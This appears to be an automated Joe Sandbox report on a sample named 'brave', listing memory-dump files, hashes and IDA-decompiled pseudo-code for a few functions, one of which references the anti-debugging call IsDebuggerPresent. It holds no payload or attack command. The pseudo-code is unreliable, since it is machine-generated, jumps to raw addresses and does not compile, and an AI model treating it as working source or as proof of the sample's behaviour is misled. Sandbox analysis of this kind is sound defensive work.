Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 0b72ed1d1ec91a9fecf57987d9700a88a3447d5267269d2675c8036d64f49d40
Instruction ID: 7c66a9aaee3be282b305f133e6c75d6040ad4036c61c480a943f6d329ec8fdbb
Opcode Fuzzy Hash: 0b72ed1d1ec91a9fecf57987d9700a88a3447d5267269d2675c8036d64f49d40
Instruction Fuzzy Hash: 8C113A72609B0582E720AF14F8803A9B3B0FB94B5DF994225C28D0B364DF7DD585C754

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E8643E Relevance: 1.3, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00007FF77FF755E8643E(void* __rbx, signed char* _a40) {
				signed int _t61;
				signed int _t65;
				signed int _t68;
				signed int _t71;
				void* _t91;
				signed char* _t96;
				intOrPtr* _t99;
				signed char* _t100;
				signed char* _t102;
				signed char* _t103;
				signed char* _t124;
				signed char* _t125;
				long long _t132;

				_t65 =  *(__rbx + 0x28);
				if (_t65 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb26ef;
				_t96 = (_t65 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t96 + 4)) = 0;
				 *(__rbx + 0x28) = _t65 + 1;
				 *_t96 = 0x27;
				 *((long long*)(_t96 + 0x10)) = 0x561353a0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 7;
				E00007FF77FF755E85BC0();
				r9d = 0;
				E00007FF77FF755E84DD0();
				_a40 = _t96;
				_t68 =  *(__rbx + 0x28);
				if (_t68 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb2683;
				_t99 = (_t68 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t99 + 4)) = 0;
				 *(__rbx + 0x28) = _t68 + 1;
				 *_t99 = 0x27;
				 *((long long*)(_t99 + 0x10)) = 0x561353e0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				goto 0x55e85c22;
				E00007FF77FF755E86EE0(_t99, __rbx);
				_a40 = _t99;
				if (_t99 == 0) goto 0x55e85c20;
				if ( *_t99 != 0x18) goto 0x55e85d39;
				goto 0x55e85c22;
				goto 0x55e86051;
				_t100 = _t99 + 1;
				 *(__rbx + 0x18) = _t100;
				E00007FF77FF755E889F0(__rbx);
				E00007FF77FF755E84DD0();
				_a40 = _t100;
				_t124 = _t100;
				goto 0x55e85f58;
				r12d =  *(__rbx + 0x28);
				 *(__rbx + 0x18) =  &(_t124[1]);
				E00007FF77FF755E889F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0x55e86584;
				 *(__rbx + 0x18) = _t124;
				_t102 = _a40;
				 *(__rbx + 0x28) = r12d;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0x55e85d30;
				_t132 = _a40;
				if (_t132 == 0) goto 0x55e85c20;
				_t71 =  *(__rbx + 0x38);
				if (_t71 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0x55e85c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t71 * 8)) = _t132;
				 *(__rbx + 0x38) = _t71 + 1;
				E00007FF77FF755E84DD0();
				_a40 = _t102;
				 *((intOrPtr*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t132 + 3;
				E00007FF77FF755E87F20(_t102, __rbx);
				_t125 = _t102;
				if (_t102 != 0) goto 0x55e86386;
				goto 0x55e85c20;
				asm("o16 nop [eax+eax]");
				_push(0x561353e0);
				_push(_t125);
				_push(__rbx);
				_t103 =  *(__rbx + 0x18);
				if (sil == 0) goto 0x55e866c8;
				 *(__rbx + 0x18) =  &(_t103[1]);
				r10d =  *_t103 & 0x000000ff;
				if (sil != 0) goto 0x55e866d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t61 = (r8d >> 0x1f) + r8d >> 1;
				_t91 =  *((intOrPtr*)( *((intOrPtr*)(0x56134820 + (_t61 + _t61 * 2) * 8)))) - r10b;
				if (_t91 == 0) goto 0x55e86680;
				if (_t91 <= 0) goto 0x55e866c0;
				r8d = _t61;
				if (0 != r8d) goto 0x55e86648;
				return 0;
			}

0x7ff755e8643e
0x7ff755e86444
0x7ff755e8645b
0x7ff755e8645f
0x7ff755e86467
0x7ff755e8646a
0x7ff755e86470
0x7ff755e86474
0x7ff755e86480
0x7ff755e86485
0x7ff755e86493
0x7ff755e86498
0x7ff755e864a2
0x7ff755e864a8
0x7ff755e864bf
0x7ff755e864c3
0x7ff755e864cb
0x7ff755e864ce
0x7ff755e864d4
0x7ff755e864d8
0x7ff755e864dc
0x7ff755e864eb
0x7ff755e864f0
0x7ff755e864f8
0x7ff755e86501
0x7ff755e86507
0x7ff755e86512
0x7ff755e86517
0x7ff755e8651e
0x7ff755e86522
0x7ff755e86537
0x7ff755e8653c
0x7ff755e86541
0x7ff755e86544
0x7ff755e86550
0x7ff755e86557
0x7ff755e8655e
0x7ff755e8656a
0x7ff755e8656c
0x7ff755e86570
0x7ff755e86575
0x7ff755e8657c
0x7ff755e8657f
0x7ff755e86584
0x7ff755e8658c
0x7ff755e86592
0x7ff755e86598
0x7ff755e865a8
0x7ff755e865b2
0x7ff755e865ba
0x7ff755e865bf
0x7ff755e865d0
0x7ff755e865da
0x7ff755e865de
0x7ff755e865e6
0x7ff755e865ec
0x7ff755e865f2
0x7ff755e865f7
0x7ff755e86600
0x7ff755e86601
0x7ff755e86602
0x7ff755e86607
0x7ff755e86614
0x7ff755e8661e
0x7ff755e86626
0x7ff755e8662d
0x7ff755e86633
0x7ff755e86642
0x7ff755e86656
0x7ff755e86666
0x7ff755e86669
0x7ff755e8666b
0x7ff755e8666d
0x7ff755e86673
0x7ff755e8667e

APIs

malloc.MSVCRT ref: 00007FF755EB2752

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: d48a312505f0d7753b5e0af4059756c973b08e8edd7f46ab5558ae8c63b7ed28
Instruction ID: a4f92cd7c070597f1ff45393bbbedcaabf554c3bf6184cef8da25d7f2d45d3ce
Opcode Fuzzy Hash: d48a312505f0d7753b5e0af4059756c973b08e8edd7f46ab5558ae8c63b7ed28
Instruction Fuzzy Hash: E1112B72A09B0582E724AF14F9803A9B3B0FF84B59F995135C28D0B364DF7CE585C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E86306 Relevance: 1.3, APIs: 1, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00007FF77FF755E86306(void* __eax, void* __ebx, void* __rbx, void* __rcx, void* __rdx, void* __r8, signed char* _a40) {
				signed int _t92;
				signed int _t103;
				signed int _t109;
				signed int _t112;
				signed int _t114;
				signed int _t116;
				signed int _t119;
				signed int _t122;
				void* _t149;
				intOrPtr* _t154;
				char* _t155;
				signed char* _t156;
				intOrPtr* _t159;
				intOrPtr* _t162;
				signed char* _t165;
				intOrPtr* _t168;
				signed char* _t169;
				signed char* _t171;
				signed char* _t172;
				intOrPtr* _t203;
				signed char* _t204;
				signed char* _t205;
				long long _t214;
				void* _t221;

				_t109 =  *(__rbx + 0x28);
				if (_t109 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb2702;
				_t154 = (_t109 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t154 + 4)) = 0;
				 *(__rbx + 0x28) = _t109 + 1;
				 *_t154 = 0x27;
				 *((long long*)(_t154 + 0x10)) = 0x56135360;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0xa;
				goto 0x55e85c22;
				 *_t154 =  *_t154 + __eax;
				_t92 =  *(__rbx + 0x28);
				if (_t92 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55e85c20;
				_t203 = (_t92 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t203 + 4)) = 0;
				 *(__rbx + 0x28) = _t92 + 1;
				 *_t203 = 0x42;
				 *((intOrPtr*)(_t203 + 0x10)) = E00007FF77FF755E84E90(_t154, __rbx, __rdx, __r8, _t221);
				_t155 =  *(__rbx + 0x18);
				if ( *_t155 != 0x5f) goto 0x55e85c20;
				_t156 = _t155 + 1;
				 *(__rbx + 0x18) = _t156;
				E00007FF77FF755E85BC0();
				E00007FF77FF755E84DD0();
				_a40 = _t156;
				_t112 =  *(__rbx + 0x28);
				if (_t112 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb2670;
				_t159 = (_t112 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t159 + 4)) = 0;
				 *(__rbx + 0x28) = _t112 + 1;
				 *_t159 = 0x27;
				 *((long long*)(_t159 + 0x10)) = 0x56135340;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 9;
				_t114 =  *(__rbx + 0x28);
				if (_t114 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb2715;
				_t162 = (_t114 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t162 + 4)) = 0;
				 *(__rbx + 0x28) = _t114 + 1;
				 *_t162 = 0x27;
				 *((long long*)(_t162 + 0x10)) = 0x56135400;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0x11;
				_t116 =  *(__rbx + 0x28);
				if (_t116 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb26ef;
				_t165 = (_t116 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t165 + 4)) = 0;
				 *(__rbx + 0x28) = _t116 + 1;
				 *_t165 = 0x27;
				 *((long long*)(_t165 + 0x10)) = 0x561353a0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 7;
				E00007FF77FF755E85BC0();
				r9d = 0;
				E00007FF77FF755E84DD0();
				_a40 = _t165;
				_t119 =  *(__rbx + 0x28);
				if (_t119 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb2683;
				_t168 = (_t119 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t168 + 4)) = 0;
				 *(__rbx + 0x28) = _t119 + 1;
				 *_t168 = 0x27;
				 *((long long*)(_t168 + 0x10)) = 0x561353e0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				goto 0x55e85c22;
				E00007FF77FF755E86EE0(_t168, __rbx);
				_a40 = _t168;
				if (_t168 == 0) goto 0x55e85c20;
				if ( *_t168 != 0x18) goto 0x55e85d39;
				goto 0x55e85c22;
				goto 0x55e86051;
				_t169 = _t168 + 1;
				 *(__rbx + 0x18) = _t169;
				E00007FF77FF755E889F0(__rbx);
				E00007FF77FF755E84DD0();
				_a40 = _t169;
				_t204 = _t169;
				goto 0x55e85f58;
				r12d =  *(__rbx + 0x28);
				 *(__rbx + 0x18) =  &(_t204[1]);
				E00007FF77FF755E889F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0x55e86584;
				 *(__rbx + 0x18) = _t204;
				_t171 = _a40;
				 *(__rbx + 0x28) = r12d;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0x55e85d30;
				_t214 = _a40;
				if (_t214 == 0) goto 0x55e85c20;
				_t122 =  *(__rbx + 0x38);
				if (_t122 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0x55e85c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t122 * 8)) = _t214;
				 *(__rbx + 0x38) = _t122 + 1;
				E00007FF77FF755E84DD0();
				_a40 = _t171;
				 *((intOrPtr*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t214 + 3;
				E00007FF77FF755E87F20(_t171, __rbx);
				_t205 = _t171;
				if (_t171 != 0) goto 0x55e86386;
				goto 0x55e85c20;
				asm("o16 nop [eax+eax]");
				_push(0x561353e0);
				_push(_t205);
				_push(__rbx);
				_t172 =  *(__rbx + 0x18);
				if (sil == 0) goto 0x55e866c8;
				 *(__rbx + 0x18) =  &(_t172[1]);
				r10d =  *_t172 & 0x000000ff;
				if (sil != 0) goto 0x55e866d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t103 = (r8d >> 0x1f) + r8d >> 1;
				_t149 =  *((intOrPtr*)( *((intOrPtr*)(0x56134820 + (_t103 + _t103 * 2) * 8)))) - r10b;
				if (_t149 == 0) goto 0x55e86680;
				if (_t149 <= 0) goto 0x55e866c0;
				r8d = _t103;
				if (0 != r8d) goto 0x55e86648;
				return 0;
			}

0x7ff755e86306
0x7ff755e8630c
0x7ff755e86323
0x7ff755e86327
0x7ff755e8632f
0x7ff755e86332
0x7ff755e86338
0x7ff755e8633c
0x7ff755e86340
0x7ff755e8634e
0x7ff755e86350
0x7ff755e86356
0x7ff755e86369
0x7ff755e8636d
0x7ff755e86375
0x7ff755e86378
0x7ff755e86383
0x7ff755e86386
0x7ff755e8638d
0x7ff755e86393
0x7ff755e8639a
0x7ff755e8639e
0x7ff755e863b1
0x7ff755e863b6
0x7ff755e863c0
0x7ff755e863c6
0x7ff755e863dd
0x7ff755e863e1
0x7ff755e863e9
0x7ff755e863ec
0x7ff755e863f2
0x7ff755e863f6
0x7ff755e863ff
0x7ff755e86405
0x7ff755e8641c
0x7ff755e86420
0x7ff755e86428
0x7ff755e8642b
0x7ff755e86431
0x7ff755e86435
0x7ff755e8643e
0x7ff755e86444
0x7ff755e8645b
0x7ff755e8645f
0x7ff755e86467
0x7ff755e8646a
0x7ff755e86470
0x7ff755e86474
0x7ff755e86480
0x7ff755e86485
0x7ff755e86493
0x7ff755e86498
0x7ff755e864a2
0x7ff755e864a8
0x7ff755e864bf
0x7ff755e864c3
0x7ff755e864cb
0x7ff755e864ce
0x7ff755e864d4
0x7ff755e864d8
0x7ff755e864dc
0x7ff755e864eb
0x7ff755e864f0
0x7ff755e864f8
0x7ff755e86501
0x7ff755e86507
0x7ff755e86512
0x7ff755e86517
0x7ff755e8651e
0x7ff755e86522
0x7ff755e86537
0x7ff755e8653c
0x7ff755e86541
0x7ff755e86544
0x7ff755e86550
0x7ff755e86557
0x7ff755e8655e
0x7ff755e8656a
0x7ff755e8656c
0x7ff755e86570
0x7ff755e86575
0x7ff755e8657c
0x7ff755e8657f
0x7ff755e86584
0x7ff755e8658c
0x7ff755e86592
0x7ff755e86598
0x7ff755e865a8
0x7ff755e865b2
0x7ff755e865ba
0x7ff755e865bf
0x7ff755e865d0
0x7ff755e865da
0x7ff755e865de
0x7ff755e865e6
0x7ff755e865ec
0x7ff755e865f2
0x7ff755e865f7
0x7ff755e86600
0x7ff755e86601
0x7ff755e86602
0x7ff755e86607
0x7ff755e86614
0x7ff755e8661e
0x7ff755e86626
0x7ff755e8662d
0x7ff755e86633
0x7ff755e86642
0x7ff755e86656
0x7ff755e86666
0x7ff755e86669
0x7ff755e8666b
0x7ff755e8666d
0x7ff755e86673
0x7ff755e8667e

APIs

malloc.MSVCRT ref: 00007FF755EB2752

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 0ebee6292a8557c15174a4ab0a03ffd8c5c9ca548531957df58a5e65fb3db361
Instruction ID: 3c810a780e13a5d0a455cb166c271d17c5b45e2c088d85057744477b7879948d
Opcode Fuzzy Hash: 0ebee6292a8557c15174a4ab0a03ffd8c5c9ca548531957df58a5e65fb3db361
Instruction Fuzzy Hash: C9114C76A09B05C2E725AF14F9803A9B2B0FF84B18F999135C28D0A354DF7CA445C364

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E863FF Relevance: 1.3, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00007FF77FF755E863FF(void* __rbx, signed char* _a40) {
				signed int _t69;
				signed int _t73;
				signed int _t75;
				signed int _t78;
				signed int _t81;
				void* _t102;
				intOrPtr* _t107;
				signed char* _t110;
				intOrPtr* _t113;
				signed char* _t114;
				signed char* _t116;
				signed char* _t117;
				signed char* _t139;
				signed char* _t140;
				long long _t147;

				_t73 =  *(__rbx + 0x28);
				if (_t73 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb2715;
				_t107 = (_t73 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t107 + 4)) = 0;
				 *(__rbx + 0x28) = _t73 + 1;
				 *_t107 = 0x27;
				 *((long long*)(_t107 + 0x10)) = 0x56135400;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0x11;
				_t75 =  *(__rbx + 0x28);
				if (_t75 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb26ef;
				_t110 = (_t75 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t110 + 4)) = 0;
				 *(__rbx + 0x28) = _t75 + 1;
				 *_t110 = 0x27;
				 *((long long*)(_t110 + 0x10)) = 0x561353a0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 7;
				E00007FF77FF755E85BC0();
				r9d = 0;
				E00007FF77FF755E84DD0();
				_a40 = _t110;
				_t78 =  *(__rbx + 0x28);
				if (_t78 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x55eb2683;
				_t113 = (_t78 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t113 + 4)) = 0;
				 *(__rbx + 0x28) = _t78 + 1;
				 *_t113 = 0x27;
				 *((long long*)(_t113 + 0x10)) = 0x561353e0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				goto 0x55e85c22;
				E00007FF77FF755E86EE0(_t113, __rbx);
				_a40 = _t113;
				if (_t113 == 0) goto 0x55e85c20;
				if ( *_t113 != 0x18) goto 0x55e85d39;
				goto 0x55e85c22;
				goto 0x55e86051;
				_t114 = _t113 + 1;
				 *(__rbx + 0x18) = _t114;
				E00007FF77FF755E889F0(__rbx);
				E00007FF77FF755E84DD0();
				_a40 = _t114;
				_t139 = _t114;
				goto 0x55e85f58;
				r12d =  *(__rbx + 0x28);
				 *(__rbx + 0x18) =  &(_t139[1]);
				E00007FF77FF755E889F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0x55e86584;
				 *(__rbx + 0x18) = _t139;
				_t116 = _a40;
				 *(__rbx + 0x28) = r12d;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0x55e85d30;
				_t147 = _a40;
				if (_t147 == 0) goto 0x55e85c20;
				_t81 =  *(__rbx + 0x38);
				if (_t81 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0x55e85c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t81 * 8)) = _t147;
				 *(__rbx + 0x38) = _t81 + 1;
				E00007FF77FF755E84DD0();
				_a40 = _t116;
				 *((intOrPtr*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t147 + 3;
				E00007FF77FF755E87F20(_t116, __rbx);
				_t140 = _t116;
				if (_t116 != 0) goto 0x55e86386;
				goto 0x55e85c20;
				asm("o16 nop [eax+eax]");
				_push(0x561353e0);
				_push(_t140);
				_push(__rbx);
				_t117 =  *(__rbx + 0x18);
				if (sil == 0) goto 0x55e866c8;
				 *(__rbx + 0x18) =  &(_t117[1]);
				r10d =  *_t117 & 0x000000ff;
				if (sil != 0) goto 0x55e866d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t69 = (r8d >> 0x1f) + r8d >> 1;
				_t102 =  *((intOrPtr*)( *((intOrPtr*)(0x56134820 + (_t69 + _t69 * 2) * 8)))) - r10b;
				if (_t102 == 0) goto 0x55e86680;
				if (_t102 <= 0) goto 0x55e866c0;
				r8d = _t69;
				if (0 != r8d) goto 0x55e86648;
				return 0;
			}

0x7ff755e863ff
0x7ff755e86405
0x7ff755e8641c
0x7ff755e86420
0x7ff755e86428
0x7ff755e8642b
0x7ff755e86431
0x7ff755e86435
0x7ff755e8643e
0x7ff755e86444
0x7ff755e8645b
0x7ff755e8645f
0x7ff755e86467
0x7ff755e8646a
0x7ff755e86470
0x7ff755e86474
0x7ff755e86480
0x7ff755e86485
0x7ff755e86493
0x7ff755e86498
0x7ff755e864a2
0x7ff755e864a8
0x7ff755e864bf
0x7ff755e864c3
0x7ff755e864cb
0x7ff755e864ce
0x7ff755e864d4
0x7ff755e864d8
0x7ff755e864dc
0x7ff755e864eb
0x7ff755e864f0
0x7ff755e864f8
0x7ff755e86501
0x7ff755e86507
0x7ff755e86512
0x7ff755e86517
0x7ff755e8651e
0x7ff755e86522
0x7ff755e86537
0x7ff755e8653c
0x7ff755e86541
0x7ff755e86544
0x7ff755e86550
0x7ff755e86557
0x7ff755e8655e
0x7ff755e8656a
0x7ff755e8656c
0x7ff755e86570
0x7ff755e86575
0x7ff755e8657c
0x7ff755e8657f
0x7ff755e86584
0x7ff755e8658c
0x7ff755e86592
0x7ff755e86598
0x7ff755e865a8
0x7ff755e865b2
0x7ff755e865ba
0x7ff755e865bf
0x7ff755e865d0
0x7ff755e865da
0x7ff755e865de
0x7ff755e865e6
0x7ff755e865ec
0x7ff755e865f2
0x7ff755e865f7
0x7ff755e86600
0x7ff755e86601
0x7ff755e86602
0x7ff755e86607
0x7ff755e86614
0x7ff755e8661e
0x7ff755e86626
0x7ff755e8662d
0x7ff755e86633
0x7ff755e86642
0x7ff755e86656
0x7ff755e86666
0x7ff755e86669
0x7ff755e8666b
0x7ff755e8666d
0x7ff755e86673
0x7ff755e8667e

APIs

malloc.MSVCRT ref: 00007FF755EB2752

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 277ec0329c7c4dbc9df98e64df30877a426ff65a56704ba7fd0b275a463b7bd2
Instruction ID: 66d5c61bb7a59ec1b6c635740791bb20b89581a4833477029b5d6c1f2e165fbd
Opcode Fuzzy Hash: 277ec0329c7c4dbc9df98e64df30877a426ff65a56704ba7fd0b275a463b7bd2
Instruction Fuzzy Hash: EE116176A09B05C2E725AF14F9803A9B2B0FF84B19F999135C24D0B354DF3CE451C3A0

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF755E96EE0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 35
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF755E96EE0(void* __rcx) {
				long _t1;

				_t1 = GetLastError();
				if (_t1 != 0) goto 0x55e96f00;
				return _t1;
			}

0x7ff755e96eea
0x7ff755e96ef2
0x7ff755e96efb

APIs

GetLastError.KERNEL32 ref: 00007FF755E96EEA
FormatMessageA.KERNEL32 ref: 00007FF755E96F2B
IsDebuggerPresent.KERNEL32 ref: 00007FF755E96F35

Strings

aaaaaaaaaaaaaaaaaaAAAAAAAAAAAaAAAaAaAaAAaaaaAaAaaaaaAaAaaaaaaaaa, xrefs: 00007FF755E96EE2

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

